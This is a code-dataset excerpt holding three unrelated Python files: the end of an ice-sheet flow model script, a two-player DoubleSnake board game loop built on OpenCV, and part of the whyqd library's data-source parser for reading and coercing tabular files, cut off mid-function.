\ndef iterate(mustPlot=False):\n dX = domainWidth/nX \n elevation=create_grid()\n fig,ax=(None,None)\n \n if mustPlot:\n fig, ax=initialize_dynamic_plots(elevation)\n \n for year in range(0,int(nYears+timeStep),timeStep):\n elevation=step(elevation,dX)\n if mustPlot:\n print (year)\n plot(elevation,fig,ax)\n \n return elevation\n\ndef initialize_dynamic_plots(elevation):\n fig,ax = plt.subplots()\n ax.plot(elevation)\n ax.set_ylim([0,plotLimit])\n plt.show(block=False) \n return (fig,ax)\n\ndef plot(elevation,fig,ax):\n dX = domainWidth/nX\n ax.clear()\n xs=[i * dX for i in range(nX+2) ]\n ax.plot( xs, elevation )\n plt.title('Ice Sheet Flow Model')\n plt.xlabel('Distance')\n plt.ylabel('Height') \n ax.set_ylim([0,plotLimit])\n plt.show( block=False )\n plt.pause(0.001)\n fig.canvas.draw() \n \n# Provide command level help\n\ndef help():\n print ('Iterative Relaxation to Consistent T and Albedo Given L ')\n print ('Global Warming II: Create Your Own Models in Python')\n print ('Usage:')\n print (' a. To pass grader:')\n print (' python {0}'.format(__file__))\n print (' b. For code review:')\n print (' python {0} -r'.format(__file__))\n print (' c. Additional arguments')\n print (' -h --help To get usage instructions')\n print (' -v --version To find version of model')\n print (' -r --review Demonstrate functionality for code review')\n\n \n\n# Main program - decode command line argments and drive iteration\n\nif __name__=='__main__':\n must_plot=False\n try:\n opts, args = getopt.getopt( \\\n sys.argv[1:],\\\n 'hrp',\\\n ['help','review','plot'])\n except getopt.GetoptError as e:\n print (e)\n help()\n sys.exit(2) \n\n if len(opts)==0: # This is for the grader\n nYears = float( input('') )\n elevation = iterate()\n print(elevation[5])\n else: # This is for all other cases\n # Default values for parameters\n \n for opt, arg in opts:\n if opt in ['-h','--help']:\n help()\n sys.exit()\n elif opt in ['-r','--review']:\n nYears = 20000\n must_plot = True\n elif opt in ['-p','--plot']:\n must_plot = True \n \n # run model\n \n if must_plot:\n import matplotlib.pyplot as plt # grader gets upset by plot library \n\n iterate(must_plot)\n if must_plot:\n plt.show()","repo_name":"weka511/climate","sub_path":"ice-sheet.py","file_name":"ice-sheet.py","file_ext":"py","file_size_in_byte":3097,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"27894981216","text":"import numpy as np\n\nfrom PlayerFile import Player\nfrom HumanPlayerFile import HumanPlayer\nfrom OneStepPlayerFile import OneStepPlayer\n# from MinimaxPlayerFile import MinimaxPlayer\n# from ABMinimaxPlayerFile import ABMinimaxPlayer\nfrom DSBoard import Board, Coord, Move, Possible_Moves_List, GAME_MODE_6, GAME_MODE_10, GAME_MODE_14\nimport datetime\nfrom typing import Tuple, List\n\nimport cv2\n\nPLAYER_CHARACTERS = [\"O\", \"X\"]\n\nDISPLAY_BOARD_AS_TEXT = True\nDISPLAY_BOARD_AS_GRAPHICS = True\n\nWAITING_FOR_FIRST_CLICK = 1000 # a dummy value for whose turn it is so that the timer doesn't start until the mouse is\n# clicked.\n\n\nclass Game:\n def __init__(self, board_size: int = 10, time_per_move: float = 30.0, game_mode: int = GAME_MODE_6):\n\n # board_size should be even.\n if board_size % 2 != 0:\n print(f\"Hey! The board size ({board_size}) should be even! I'll do what I can with this odd number.\")\n self.board = Board(board_size=board_size, game_mode=game_mode)\n self.time_per_move = time_per_move\n self.current_player = 0\n self.captured_pieces = [0, 0]\n self.players = (None, None)\n self.game_over = False\n self.stopwatch_start = datetime.datetime.now()\n\n def play_game(self, player1: Player = None, player2: Player = None):\n \"\"\"\n The main game loop, given a set of players.\n :param player1: A Player object. If one is not provided, then it will use a generic Player().\n :param player2: Another Player object. If one is not provided, then it will use a generic Player().\n :return: None\n \"\"\"\n # Create generic players, if we didn't receive any.\n if player1 is None:\n player1 = Player()\n if player2 is None:\n player2 = Player()\n\n # put our two players into a short list, for storage.\n self.players = (player1, player2)\n\n # Display board with \"wait for click\" message if we are in graphics mode\n # and there is at least one human playing.\n if DISPLAY_BOARD_AS_GRAPHICS:\n self.display_board()\n if self.players[0].is_human() or self.players[1].is_human():\n cv2.setMouseCallback(\"Board\", self.handle_click) # be ready to receive and handle clicks.\n self.current_player = WAITING_FOR_FIRST_CLICK # neither player 0 nor 1 yet - we're waiting to start\n # the game.\n print(\"Click mouse in board to start.\")\n while self.current_player == WAITING_FOR_FIRST_CLICK:\n cv2.waitKey(1)\n self.current_player = 0\n print(\"Starting game.\")\n\n self.game_over = False\n\n # allow both players to preload data.\n if self.load_players():\n return\n\n previous_move = None\n # Get list of possible initial moves... this will be refreshed at the end of each loop.\n possible_moves: List[Possible_Moves_List] = self.board.get_possible_moves()\n\n # Main loop.........................................................................\n while not self.game_over:\n print(f\"Player {PLAYER_CHARACTERS[self.current_player]} to move...\")\n\n self.restart_stopwatch()\n\n print(\"-----------------\")\n move: Move = self.players[self.current_player].select_move(board=Board(board_to_copy=self.board),\n which_player_am_I=self.current_player,\n get_expired_time_method=self.expired_time_in_s,\n opponents_move=previous_move)\n # \"click the stopwatch for (time spent, time remaining).\n expired = self.expired_time_in_s()\n if expired[1] < 0:\n print(f\"Player {PLAYER_CHARACTERS[self.current_player]} took too long to move: {expired[0]}.\")\n self.game_over = True\n break\n print(f\"Player {PLAYER_CHARACTERS[self.current_player]} chose to move to (x,y) = \\\n {move} in {expired[0]} seconds.\")\n\n if move not in possible_moves[self.current_player]:\n print(\"This is an illegal move.\")\n self.game_over = True\n break\n\n # During play, the players may have made copies of the board and moved on those copies. But this line makes\n # the actual move.\n self.board.make_move_for_player(move=move, which_player=self.current_player)\n\n self.display_board()\n\n # check to see whether this player has won.\n other_player = 1 - self.current_player\n\n possible_moves = self.board.get_possible_moves()\n if len(possible_moves[other_player]) == 0:\n self.game_over = True\n print(\"Game Over!\")\n break\n # Otherwise, swap players.\n self.current_player = other_player\n\n # record the move that was just made, so we can tell the next player about it.\n previous_move = move\n\n\n def handle_click(self, event: int, x: int, y: int, flags: int, param):\n \"\"\"\n this method gets called whenever the user moves or clicks or does\n anything mouse-related while the mouse is in the \"Board\" window.\n In this particular case, it will only do stuff if the mouse is being\n released.\n :param event: what kind of mouse event was this?\n :param x:\n :param y:\n :param flags: I suspect this will be info about modifier keys (e.g. shift)\n :param param: additional info from cv2... probably unused.\n :return: None\n \"\"\"\n if self.game_over:\n return\n if event == cv2.EVENT_LBUTTONUP: # only worry about when the mouse is released inside this window.\n print(\"handling a click.\")\n if self.current_player == WAITING_FOR_FIRST_CLICK:\n print(\"first click.\")\n self.current_player = 0\n return\n\n if self.players[self.current_player].is_human():\n print(f\"Click for player {self.current_player} at ({x}, {y}).\")\n self.players[self.current_player].handle_click_at_xy_point((x, y))\n return\n\n def load_players(self):\n \"\"\"\n Allows both players to pre-load some data (if desired), as long as it takes less than\n the amount of time per move.\n :return: whether either player exceeded the time limit.\n \"\"\"\n for i in range(2):\n self.restart_stopwatch()\n print(f\"Player {i} loading data.\")\n self.players[i].load_data(board=self.board,\n which_player_am_I=i,\n get_expired_time_method=self.expired_time_in_s)\n if self.expired_time_in_s()[1] < 0:\n print(f\"Player {i} exceeded load time.\")\n self.game_over = True\n return True\n print(f\"Player {i} loaded in {self.expired_time_in_s()} seconds.\")\n return False\n\n def restart_stopwatch(self):\n \"\"\"\n resets the stopwatch used by the expired_time_in_s(self) method\n :return: None\n \"\"\"\n self.stopwatch_start = datetime.datetime.now()\n\n def expired_time_in_s(self) -> Tuple[float, float]:\n \"\"\"\n gets the number of seconds since the last time we called restart_stopwatch, and how much time remains before we\n reach self.time_per_move\n :return: (seconds_expired, time_remaining) - floats, in seconds\n \"\"\"\n elapsed = datetime.datetime.now() - self.stopwatch_start\n return elapsed.total_seconds(), self.time_per_move-elapsed.total_seconds()\n\n def display_board(self):\n \"\"\"\n routes the display function to text and/or graphics, as appropriate\n :return: None\n \"\"\"\n if DISPLAY_BOARD_AS_TEXT:\n print(self.board)\n\n if DISPLAY_BOARD_AS_GRAPHICS:\n self.board.show_board()\n\n\n# These are the commands that start the game.....\nif __name__ == '__main__':\n # create a Game and start it running\n the_game = Game(board_size=8, time_per_move=15, game_mode=GAME_MODE_6)\n the_game.play_game(HumanPlayer(), Player())\n\n # Display a \"game over\" window. Comment this out if you wish to loop over many games.\n game_over_window = np.ones((50, 200, 3), dtype=float)\n cv2.putText(game_over_window, \"Game Over\", (10, 45),\n cv2.FONT_HERSHEY_COMPLEX, 1, (0, 0, 0))\n cv2.imshow(\"Game Over\", game_over_window)\n cv2.moveWindow(\"Game Over\", 0, the_game.board.screen_size[0] + 0)\n\n # the game is over... display the board, but encourage the user to click once more to quit.\n if DISPLAY_BOARD_AS_GRAPHICS:\n print(\"Click in the window and press any key to quit.\")\n # once the game is over, we want the screen to stay up, until the user presses a key,\n # so we wait indefinitely until the user does, and then dispose of the window.\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n","repo_name":"Harlan-Howe/DoubleSnake","sub_path":"GameFile.py","file_name":"GameFile.py","file_ext":"py","file_size_in_byte":9309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"12704656128","text":"from __future__ import annotations\nfrom typing import List, Union, Type, TYPE_CHECKING\nfrom pathlib import Path\nfrom datetime import date, datetime\nimport pandas as _pd\nimport modin.pandas as pd\nimport numpy as np\nfrom pyarrow.parquet import ParquetFile\nimport pyarrow as pa\nimport re\nimport locale\nimport ast\n\nfrom whyqd.parsers.core import CoreParser\nfrom whyqd.models import ColumnModel, DataSourceModel, DataSourceAttributeModel\nfrom whyqd.dtypes import MimeType, FieldType\nfrom whyqd.config.ray_init import ray_start\n\ntry:\n locale.setlocale(locale.LC_ALL, \"en_US.UTF-8\")\nexcept locale.Error:\n # Readthedocs has a problem, but difficult to replicate\n locale.setlocale(locale.LC_ALL, \"\")\n\nif TYPE_CHECKING:\n from whyqd.core import SchemaDefinition\n\n\nclass DataSourceParser:\n \"\"\"Get, review and restructure tabular source data.\"\"\"\n\n def __init__(self):\n self.core = CoreParser()\n self.DATE_FORMATS = {\n \"date\": {\"fmt\": [\"%Y-%m-%d\"], \"txt\": [\"YYYY-MM-DD\"]},\n \"datetime\": {\n \"fmt\": [\"%Y-%m-%d %H:%M:%S\", \"%Y-%m-%d %H:%M:%S %Z%z\"],\n \"txt\": [\"YYYY-MM-DD hh:mm:ss\", \"YYYY-MM-DD hh:mm:ss UTC+0000\"],\n },\n \"year\": {\"fmt\": [\"%Y\"], \"txt\": [\"YYYY\"]},\n }\n\n ###################################################################################################\n ### TABULAR DATA READERS AND WRITERS\n ###################################################################################################\n\n def read_excel(self, *, source: str | Path, **kwargs) -> dict[str, pd.DataFrame] | pd.DataFrame:\n # This will default to returning a dictionary of dataframes for each sheet\n # https://pandas.pydata.org/docs/reference/api/pandas.read_excel.html\n ray_start()\n if kwargs.get(\"sheet_name\"):\n # Only going to return a single dataframe\n # Modin can't seem to read sheets correctly\n return pd.DataFrame(_pd.read_excel(source, **kwargs))\n df = pd.read_excel(source, **kwargs)\n keys = list(df.keys())\n for k in keys:\n if df[k].empty:\n del df[k]\n if len(df.keys()) == 1:\n df = df[keys[0]]\n return df\n\n def read_csv(self, *, source: str | Path, **kwargs) -> pd.DataFrame:\n # New in pandas 1.3: will ignore encoding errors - perfect for this initial wrangling process\n # https://pandas.pydata.org/docs/reference/api/pandas.read_csv.html\n ray_start()\n kwargs[\"encoding_errors\"] = \"ignore\"\n # Supposed to help with fruity separater guessing\n kwargs[\"engine\"] = \"python\"\n if not kwargs.get(\"nrows\"):\n df = pd.read_csv(source, **kwargs)\n else:\n kwargs[\"iterator\"] = True\n kwargs[\"chunksize\"] = 10000\n df_iterator = pd.read_csv(source, **kwargs)\n df = pd.concat(df_iterator, ignore_index=True)\n return df\n\n def read_parquet(self, *, source: str | Path, nrows: int | None = None, **kwargs) -> pd.DataFrame:\n # https://pandas.pydata.org/docs/reference/api/pandas.read_parquet.html\n if nrows:\n # https://stackoverflow.com/a/69888274/295606\n pf = ParquetFile(str(source))\n pf = next(pf.iter_batches(batch_size=nrows))\n # https://arrow.apache.org/docs/python/generated/pyarrow.Table.html#pyarrow.Table.to_pandas\n return pa.Table.from_batches([pf]).to_pandas(**kwargs)\n ray_start()\n if \"engine\" not in kwargs:\n kwargs[\"engine\"] = \"pyarrow\"\n return pd.read_parquet(source, **kwargs)\n\n def read_feather(self, *, source: str | Path, **kwargs) -> pd.DataFrame:\n # https://pandas.pydata.org/docs/reference/api/pandas.read_feather.html\n ray_start()\n return pd.read_feather(source, **kwargs)\n\n def get(\n self,\n *,\n source: str | Path | DataSourceModel,\n mimetype: str | MimeType | None = None,\n header: int | None = 0,\n preserve: str | list[str] | bool = False,\n names: list[str] | None = None,\n nrows: int | None = None,\n sheet_name: str | None = None,\n directory: str | Path | None = None,\n **attributes,\n ) -> dict[str, pd.DataFrame] | pd.DataFrame | None:\n \"\"\"Return a Pandas dataframe from a given source.\n\n Accepts default pandas parameters for Excel and CSV, but the objective is to preserve the source data with\n little data conversion outside of the data wrangling process.\n\n Parameters\n ----------\n source: str | Path | DataSourceModel\n Path to source data file.\n mimetype: str | MimeType\n **whyqd** supports reading from CSV, XLS, XLSX, Feather and Parquet files.\n header: int, default 0\n Row to use as the column headings. Default is 0.\n preserve: str or list of str, default None\n Column names where variable type guessing must be prevented and the original data preserved.\n Critical for foreign key references with weird formats, like integers with leading `0`.\n Only works for CSV and Excel.\n names: list of str, default None\n If the source data has no header row, explicitly pass a list of names - in the correct order - to address\n the data. Only works for CSV and Excel.\n nrows: int, default None\n A specified number of rows to return. For review, it is faster to load only a small number.\n Only works for CSV and Excel.\n sheet_name: str, default None\n If the source is a multi-sheet Excel file, and you know the sheet, you can load that specifically. If you\n need to apply parameters specific to each sheet, it's best to load individually. Default, load all.\n directory: str | Path, default None\n An optional working directory for use for remote source data. Default will be from `settings`.\n attributes: dict of specific `mimetype` related Pandas attributes. Use sparingly.\n\n Returns\n -------\n DataFrame or dict of DataFrame\n \"\"\"\n ray_start()\n kwargs = {}\n kwargs |= attributes\n if isinstance(source, DataSourceModel):\n # Additional attributes stored in the model, e.g. End-of-line errors require `quoting=csv.QUOTE_NONE`\n # quoting: int, default None\n # CSV errors in opening a source file can be fixed by referencing quotation and end-of-line errors using\n # `quoting=csv.QUOTE_NONE` and `import csv`.\n if source.attributes:\n kwargs |= source.attributes.terms\n mimetype = source.mime\n preserve = source.preserve\n sheet_name = source.sheet_name\n header = source.header\n if source.names:\n names = source.names\n source = source.path\n if self.core.check_uri(source=source):\n # Modin currently does not work with remote files. It needs a downloaded file.\n # Might have something to do with the way it imports data?\n source = self.core.download_uri_source(source=source, directory=directory)\n if not self.core.check_source(source=source):\n e = f\"Source at `{source}` not found.\"\n raise FileNotFoundError(e)\n # These, currently, don't accept any additional parameters.\n mimetype = self.get_mimetype(mimetype=mimetype)\n if mimetype in [MimeType.PRQ, MimeType.PARQUET]:\n return self.read_parquet(source=source, nrows=nrows, **kwargs)\n if mimetype in [MimeType.FTR, MimeType.FEATHER]:\n return self.read_feather(source=source, **kwargs)\n # If the dtypes have not been set, then ensure that any provided preserved columns remain untouched\n # i.e. no forcing of text to numbers\n # defaulting to `dtype = object` ...\n if preserve:\n if isinstance(preserve, bool):\n kwargs[\"dtype\"] = pd.StringDtype()\n # kwargs[\"keep_default_na\"] = False\n # kwargs[\"na_values\"] = \"\"\n else:\n if not isinstance(preserve, list):\n preserve = [preserve]\n # kwargs[\"dtype\"] = {k: object for k in preserve}\n kwargs[\"dtype\"] = {k: pd.StringDtype() for k in preserve}\n kwargs[\"header\"] = header\n if names:\n # Preserve all rows\n kwargs[\"header\"] = None\n kwargs[\"names\"] = names\n if nrows:\n kwargs[\"nrows\"] = nrows\n # Check mimetype\n if mimetype in [MimeType.XLS, MimeType.XLSX]:\n kwargs[\"sheet_name\"] = sheet_name\n return self.read_excel(source=source, **kwargs)\n if mimetype == MimeType.CSV:\n return self.read_csv(source=source, **kwargs)\n # Unknown mimetype\n raise FileExistsError(f\"Source at `{source}` does not have a recognised mimetype `{mimetype}`.\")\n\n def set(self, *, df: pd.DataFrame, source: str | Path, mimetype: MimeType) -> None:\n \"\"\"Save a Pandas dataframe from a given source.\n\n Parameters\n ----------\n source: str\n Source filename.\n mimetype: MimeType\n **whyqd** supports saving to CSV, XLS, XLSX, Feather and Parquet files.\n df: pd.DataFrame\n \"\"\"\n if not isinstance(source, Path):\n source = Path(source)\n try:\n source = source.with_suffix(f\".{mimetype.name}\")\n except Exception:\n raise FileExistsError(f\"Save mimetype not supported, `{mimetype}`.\")\n if mimetype in [MimeType.PRQ, MimeType.PARQUET]:\n df.to_parquet(path=source, engine=\"pyarrow\", index=False)\n if mimetype in [MimeType.FTR, MimeType.FEATHER]:\n df.to_feather(path=source)\n if mimetype in [MimeType.XLS, MimeType.XLSX]:\n df.to_excel(source, index=False)\n if mimetype == MimeType.CSV:\n df.to_csv(source, index=False)\n\n ###################################################################################################\n ### TABULAR DATA SCHEMA COERSION UTILITIES\n ###################################################################################################\n\n def coerce_to_schema(self, *, df: pd.DataFrame, schema: Type[SchemaDefinition]) -> pd.DataFrame:\n validate = {\"matched\": [], \"unmatched\": [], \"coerced\": []}\n columns = self.get_header_columns(df=df)\n for c in columns:\n prospect = schema.fields.get(name=c.name)\n if prospect:\n if c.dtype == prospect.dtype:\n validate[\"matched\"].append(c.name)\n else:\n # Try coerce the column to the type\n df[c.name] = self.coerce_column_to_dtype(column=df[c.name], coerce=prospect.dtype)\n validate[\"coerced\"].append(c.name)\n df[c.name] = df[c.name].astype(FieldType(prospect.dtype).astype)\n else:\n validate[\"unmatched\"].append(c.name)\n if validate[\"unmatched\"]:\n self.core.show_warning(\n f\"{len(validate['unmatched'])} columns in Data not found in Schema. {validate['unmatched']}\"\n )\n if validate[\"coerced\"]:\n self.core.show_warning(\n f\"{len(validate['coerced'])} columns in Data were coerced to appropriate dtypes in Schema. {validate['coerced']}\"\n )\n return df\n\n def coerce_column_to_dtype(self, *, column: pd.Series, coerce: str) -> pd.Series:\n parser = {\n \"date\": self.parse_dates,\n \"datetime\": self.parse_dates,\n \"year\": self.parse_dates,\n \"number\": self.parse_float,\n \"integer\": self.parse_int,\n \"boolean\": self.parse_bool,\n \"array\": self.parse_string_list,\n \"string\": self.parse_string,\n }\n return column.apply(lambda x: parser[coerce](x))\n\n def validate_schema_coersion(self, *, df: pd.DataFrame, schema: Type[SchemaDefinition]) -> bool:\n \"\"\"Returns the MimeType representation of of a submitted source datatype.\"\"\"\n for field in schema.fields.get_all():\n # Tests conversion to type\n series = df[field.name].astype(FieldType(field.dtype).astype)\n # Tests each constraint\n if field.constraints:\n if field.constraints.category:\n # https://python-reference.readthedocs.io/en/latest/docs/comprehensions/set_comprehension.html\n constraints = {c.name for c in field.constraints.category}\n difference = {\n term for term in series.unique() if not (term is pd.NA or pd.isnull(term) or term is None)\n } - constraints\n if difference:\n raise ValueError(\n f\"Terms in `{field.name}` not defined as a category constraint: `{list(difference)}`\"\n )\n if field.constraints.required and len(series) != series.count():\n raise ValueError(\n f\"Required constraint in `{field.name}` has `{len(series) - series.count()}` null values in `{len(series)}` rows.\"\n )\n if field.constraints.unique and series.count() != len(series.unique()):\n raise ValueError(\n f\"Unique constraint in `{field.name}` has `{series.count() - len(series.unique())}` non-unique values in `{series.count()}` rows.\"\n )\n if field.constraints.minimum and series.min() < field.constraints.minimum:\n raise ValueError(\n f\"Minimum constraint in `{field.name}` has value `{series.min()}` < `{field.constraints.minimum}`\"\n )\n if field.constraints.maximum and series.max() > field.constraints.maximum:\n raise ValueError(\n f\"Minimum constraint in `{field.name}` has value `{series.max()}` > `{field.constraints.maximum}`\"\n )\n return True\n\n ###################################################################################################\n ### DATA MODEL SCHEMA DERIVATION AND WRITER UTILITIES\n ###################################################################################################\n\n def derive_data_model(\n self,\n *,\n source: Path | str,\n mimetype: str | MimeType,\n sheet_name: str | None = None,\n header: int | list[int] | None = 0,\n **attributes,\n ) -> DataSourceModel | list[DataSourceModel]:\n \"\"\"Derive a data model schema (or list) from a data source. All columns will be coerced to `string` type to\n preserve data quality even though this is far less efficient.\n\n Parameters\n ----------\n source: str\n Source filename.\n mimetype: str or MimeType\n Pandas can read a diversity of mimetypes. **whyqd** supports `xls`, `xlsx`, `csv`, `parquet` and `feather`.\n sheet_name: str, default None.\n If `mimetype` is a multi-sheeted Excel file, specify which one to use.\n header: int | list[int | None] | None = 0,\n Row (0-indexed) to use for the column labels of the parsed DataFrame. If there are multiple sheets, then\n a list of integers should be provided.\n If `header` is `None`, row 0 will be treated as values and a set of field names will be generated indexed\n to the number of data columns.\n attributes: dict of specific `mimetype` related Pandas attributes. Use sparingly.\n\n Returns\n -------\n List of DataSourceModel, or DataSourceModel\n \"\"\"\n response = []\n mimetype = self.get_mimetype(mimetype=mimetype)\n sheet_names = [sheet_name]\n if sheet_name is None and mimetype in [MimeType.XLS, MimeType.XLSX]:\n # Check for multiple sheets\n df = self.read_excel(source=source, sheet_name=sheet_name, nrows=1, **attributes)\n if isinstance(df, dict):\n # Multiple sheets\n sheet_names = list(df.keys())\n for i, sheet_name in enumerate(sheet_names):\n header_i = header\n if isinstance(header, list):\n header_i = header[i]\n if header_i is None:\n header_names = self.create_header_names(\n source=source, mimetype=mimetype, sheet_name=sheet_name, **attributes\n )\n else:\n header_names = self.get_header_names(\n source=source, mimetype=mimetype, sheet_name=sheet_name, header=header_i, **attributes\n )\n response.append(\n self.get_source_data_model(\n source=source,\n mimetype=mimetype,\n names=header_names,\n sheet_name=sheet_name,\n header=header_i,\n **attributes,\n )\n )\n if len(response) > 1:\n return response\n return response[0]\n\n def get_source_data_model(\n self,\n *,\n df: pd.DataFrame | None = None,\n source: Path | str,\n mimetype: str | MimeType,\n names: list[str] | None = None,\n sheet_name: str | None = None,\n header: int | None = 0,\n **attributes,\n ) -> DataSourceModel:\n \"\"\"Derive a data model schema from a SINGLE tabular data source. All columns will be coerced to `string` type to\n preserve data quality even though this is far less efficient.\n\n Parameters\n ----------\n source: str | Path\n Source filename.\n mimetype: str or MimeType\n Pandas can read a diversity of mimetypes. **whyqd** supports `xls`, `xlsx`, `csv`, `parquet` and `feather`.\n names: list of str\n A de-conflicted list of header-row names.\n sheet_name: str, default None.\n If `mimetype` is a multi-sheeted Excel file, specify which one to use.\n header: int, default 0\n Row (0-indexed) to use for the column labels of the parsed DataFrame.\n attributes: dict of specific `mimetype` related Pandas attributes. Use sparingly.\n\n Returns\n -------\n DataSourceModel\n \"\"\"\n del_df = False\n if df is None:\n del_df = True\n if header is None or header != 0:\n # If names are specified, then header is None\n df = self.get(\n source=source,\n mimetype=mimetype,\n names=names,\n preserve=names,\n sheet_name=sheet_name,\n header=None,\n **attributes,\n )\n else:\n df = self.get(source=source, mimetype=mimetype, preserve=names, sheet_name=sheet_name, **attributes)\n columns = self.get_header_columns(df=df)\n preserve = [c.name for c in columns if c.dtype == \"string\"]\n source_data_model = {\n \"path\": str(source),\n \"mime\": self.get_mimetype(mimetype=mimetype),\n \"sheet_name\": sheet_name,\n \"columns\": columns,\n \"preserve\": preserve,\n \"checksum\": self.get_checksum(df=df),\n \"header\": header,\n \"index\": df.shape[0],\n \"attributes\": DataSourceAttributeModel.parse_obj(attributes),\n }\n if header is None or header != 0:\n source_data_model[\"names\"] = names\n if del_df:\n del df\n return DataSourceModel(**source_data_model)\n\n def create_header_names(\n self,\n *,\n source: Path | str,\n mimetype: str | MimeType,\n sheet_name: str | None = None,\n nrows: int = 50,\n **attributes,\n ) -> list[str]:\n \"\"\"\n Return a list of default column names - starting with `column-0` - to apply to a given SINGULAR tabular data\n source.\n\n Parameters\n ----------\n source: str\n Source filename.\n mimetype: MimeType, default MimeType.CSV\n Pandas can read a diversity of mimetypes, but whyqd has only been tested on `xls`, `xlsx` and `csv`.\n sheet_name: str, default None.\n If `mimetype` is a multi-sheeted Excel file, specify which one to use.\n nrows: int, default 50\n A specified number of rows to return. For review, it is faster to load only a small number.\n attributes: dict of specific `mimetype` related Pandas attributes. Use sparingly.\n\n Returns\n -------\n List of str\n \"\"\"\n df = self.get(source=source, mimetype=mimetype, sheet_name=sheet_name, nrows=nrows, **attributes)\n if (isinstance(df, dict) and not df) or df.empty:\n return []\n return [f\"column_{i}\" for i in range(len(df.columns))]\n\n def get_header_names(\n self,\n *,\n source: Path | str,\n mimetype: str | MimeType,\n sheet_name: str | None = None,\n header: int | None = 0,\n nrows: int = 1,\n **attributes,\n ) -> list[str]:\n \"\"\"Return a list of column names to apply to a given SINGULAR tabular data source.\n\n Parameters\n ----------\n source: str\n Source filename.\n mimetype: MimeType, default MimeType.CSV\n Pandas can read a diversity of mimetypes, but whyqd has only been tested on `xls`, `xlsx` and `csv`.\n sheet_name: str, default None.\n If `mimetype` is a multi-sheeted Excel file, specify which one to use.\n header: int, default 0\n Row (0-indexed) to use for the column labels of the parsed DataFrame.\n nrows: int, default 1\n A specified number of rows to return. For review, it is faster to load only a small number.\n attributes: dict of specific `mimetype` related Pandas attributes. Use sparingly.\n\n Returns\n -------\n List of str\n \"\"\"\n if header is not None and header > nrows:\n nrows = header + 1\n df = self.get(source=source, mimetype=mimetype, sheet_name=sheet_name, header=header, nrows=nrows, **attributes)\n return df.columns.tolist()\n\n def get_header_columns(self, *, df: pd.DataFrame) -> List(ColumnModel):\n \"\"\"Returns a list of ColumnModels from a source DataFrame.\n\n Parameters\n ----------\n df: pd.DataFrame\n Should be derived from `get` with a sensible default for `nrows` being 50.\n\n Returns\n -------\n List of ColumnModel\n \"\"\"\n # Prepare summary\n try:\n columns = [\n {\"name\": k, \"type\": \"number\"}\n if v in [\"float64\", \"int64\", \"Float64\", \"Int64\"]\n else {\"name\": k, \"type\": \"date\"}\n if v in [\"datetime64[ns]\"]\n else {\"name\": k, \"type\": \"string\"}\n for k, v in df.dtypes.apply(lambda x: x.name).to_dict().items()\n ]\n except AttributeError:\n # No idea ... some seem to give shit\n columns = [\n {\"name\": k, \"type\": \"number\"}\n if v in [\"float64\", \"int64\", \"Float64\", \"Int64\"]\n else {\"name\": k, \"type\": \"date\"}\n if v in [\"datetime64[ns]\"]\n else {\"name\": k, \"type\": \"string\"}\n for k, v in df.dtypes.apply(lambda x: str(x)).to_dict().items()\n ]\n return [ColumnModel(**c) for c in columns]\n\n ###################################################################################################\n ### GENERAL UTILITIES\n ###################################################################################################\n\n def get_mimetype(self, mimetype: str | MimeType) -> MimeType:\n \"\"\"Returns the MimeType representation of a submitted source datatype.\n\n Parameters\n ----------\n mimetype: str or MimeType\n\n Returns\n -------\n MimeType\n \"\"\"\n if isinstance(mimetype, MimeType):\n return mimetype\n elif isinstance(mimetype, str):\n try:\n return MimeType.value_of(mimetype)\n except ValueError:\n return MimeType(mimetype)\n raise ValueError(f\"MimeType not found for '{mimetype}'\")\n\n def deduplicate_columns(self, *, df: pd.DataFrame) -> pd.Index:\n \"\"\"\n Source: https://stackoverflow.com/a/65254771/295606\n Source: https://stackoverflow.com/a/55405151\n Returns a new column list permitting deduplication of dataframes which may result from merge.\n\n Parameters\n ----------\n df: pd.DataFrame\n\n Returns\n -------\n pd.Index\n Updated column names\n \"\"\"\n column_index = pd.Series(df.columns.tolist())\n if df.columns.has_duplicates:\n duplicates = column_index[column_index.duplicated()].unique()\n for name in duplicates:\n dups = column_index == name\n replacements = [f\"{name}{i}\" if i != 0 else name for i in range(dups.sum())]\n column_index.loc[dups] = replacements\n return pd.Index(column_index)\n\n def get_checksum(self, *, df: pd.DataFrame, crosscheck: str = None) -> str:\n checksum = self.core.get_data_checksum(df=df)\n if crosscheck and checksum != crosscheck:\n raise ValueError(\n f\"Checksum provided ({crosscheck}) is not equal to the generated checksum ({checksum}). Check your data source.\"\n )\n return checksum\n\n def check_date_format(self, *, date_type: str, date_value: str) -> bool:\n # https://stackoverflow.com/a/37045601\n # https://www.saltycrane.com/blog/2009/05/converting-time-zones-datetime-objects-python/\n for fmt in self.DATE_FORMATS[date_type][\"fmt\"]:\n try:\n if date_value == datetime.strptime(date_value, fmt).strftime(fmt):\n return True\n except ValueError:\n continue\n raise ValueError(f\"Incorrect date format, should be: `{self.DATE_FORMATS[date_type]['txt']}`\")\n\n ###################################################################################################\n ### PANDAS TYPE PARSERS\n ###################################################################################################\n\n def parse_dates(self, x: Union[None, str]) -> Union[pd.NaT, date.isoformat]:\n \"\"\"\n This is the hard-won 'trust nobody', certainly not Americans, date parser.\n\n TODO: Replace with https://github.com/scrapinghub/dateparser\n The only concern is that dateparser.parse(x).date().isoformat() will coerce *any* string to a date,\n no matter *what* it is.\n \"\"\"\n if pd.isnull(x):\n return pd.NaT\n # Check if to_datetime can handle things\n if not pd.isnull(pd.to_datetime(x, errors=\"coerce\", dayfirst=True)):\n return date.isoformat(pd.to_datetime(x, errors=\"coerce\", dayfirst=True))\n # Manually see if coersion will work\n x = str(x).strip()[:10]\n x = re.sub(r\"[\\\\/,\\.]\", \"-\", x)\n try:\n y, m, d = x.split(\"-\")\n except ValueError:\n return pd.NaT\n if len(y) < 4:\n # Swap the day and year positions\n # Ignore US dates\n d, m, y = x.split(\"-\")\n # Fat finger on 1999 ... not going to check for other date errors as no way to figure out\n if y[0] == \"9\":\n y = \"1\" + y[1:]\n x = \"{}-{}-{}\".format(y, m, d)\n try:\n x = datetime.strptime(x, \"%Y-%m-%d\")\n except ValueError:\n return pd.NaT\n x = date.isoformat(x)\n try:\n pd.Timestamp(x)\n return x\n except pd.errors.OutOfBoundsDatetime:\n return pd.NaT\n\n def parse_dates_coerced(self, x: Union[None, str]) -> Union[pd.NaT, pd.Timestamp]:\n return pd.to_datetime(self.parse_dates(x), errors=\"coerce\")\n\n def parse_float(self, x: str | int | float) -> np.nan 